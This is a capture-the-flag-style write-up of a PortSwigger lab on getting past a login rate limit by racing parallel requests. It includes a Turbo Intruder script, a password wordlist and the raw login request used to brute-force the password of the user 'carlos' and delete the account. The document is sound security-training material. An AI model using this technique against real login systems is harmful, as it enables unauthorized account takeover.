Bypassing rate limits via race conditions | August 31, 2023
Table of Contents
Overview
Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Bypassing rate limits via race conditions! Without further ado, let’s dive in.
- Overall difficulty for me (From 1-10 stars): ★☆☆☆☆☆☆☆☆☆
Background
This lab’s login mechanism uses rate limiting to defend against brute-force attacks. However, this can be bypassed due to a race condition.
To solve the lab:
- Work out how to exploit the race condition to bypass the rate limit.
- Successfully brute-force the password for the user
carlos
. - Log in and access the admin panel.
- Delete the user
carlos
.
You can log in to your account with the following credentials: wiener:peter
.
You should use the following list of potential passwords:
123123
abc123
football
monkey
letmein
shadow
master
666666
qwertyuiop
123321
mustang
123456
password
12345678
qwerty
123456789
12345
1234
111111
1234567
dragon
1234567890
michael
x654321
superman
1qaz2wsx
baseball
7777777
121212
000000
Note
- Solving this lab requires Burp Suite 2023.9 or higher. You should also use the latest version of the Turbo Intruder, which is available from the BApp Store.
- You have a time limit of 15 mins. If you don’t solve the lab within the time limit, you can reset the lab. However, Carlos’s password changes each time.
Enumeration
Home page:
In here, we can view blog posts.
Login page:
We can try to brute force user carlos
’s password:
After some testing, I found that there’s a rate limit. After 3 wrong login attempts, we’ll be locked out:
Burp Suite HTTP history:
When we clicked the “Log in” button, it’ll send a POST request to /login
, with parameter csrf
, username
, and password
.
Let’s test for race condition!
After rate limited is gone, send the login request to Burp Suite’s Repeater 5 times, group them together, select “Send group (parallel)”, and send it:
Nice! No more rate limiting! That being said, the login function is vulnerable to race condition.
Exploitation
Now, we can use “Turbo Intruder” to brute force carlos
’s password with bypassing rate limiting via race condition:
In the Python editor, choose the examples/race-single-packet-attack.py
Python template:
In order to make it brute force user carlos
’s password, we’ll need to modify the template to:
def queueRequests(target, wordlists):
# if the target supports HTTP/2, use engine=Engine.BURP2 to trigger the single-packet attack
# if they only support HTTP/1, use Engine.THREADED or Engine.BURP instead
# for more information, check out https://portswigger.net/research/smashing-the-state-machine
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
wordlist = ['123123', 'abc123', 'football', 'monkey', 'letmein', 'shadow', 'master', '666666', 'qwertyuiop', '123321', 'mustang', '123456', 'password', '12345678', 'qwerty', '123456789', '12345', '1234', '111111', '1234567', 'dragon', '1234567890', 'michael', 'x654321', 'superman', '1qaz2wsx', 'baseball', '7777777', '121212', '000000']
# the 'gate' argument withholds the final byte of each request until openGate is invoked
for password in wordlist:
engine.queue(target.req, password, gate='race1')
# once every 'race1' tagged request has been queued
# invoke engine.openGate() to send them in sync
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)
And add %s
string formatting placeholder in the password
POST parameter in the HTTP request:
POST /login HTTP/2
Host: 0a8700c60427bda288e290c7001500b5.web-security-academy.net
Cookie: session=4EAp3UZ022KeX6D50w7FESJoixZtTh5s
csrf=dL20kaRyH4RJaFOtxT5KbhLdJtVIZYwe&username=carlos&password=%s
Then launch the attack:
In here, we found that there’s a HTTP status code “302 Found”, which means this request has the correct password!
Finally, login as carlos
:
I’m user carlos
! Let’s delete it!
Conclusion
What we’ve learned:
- Bypassing rate limits via race conditions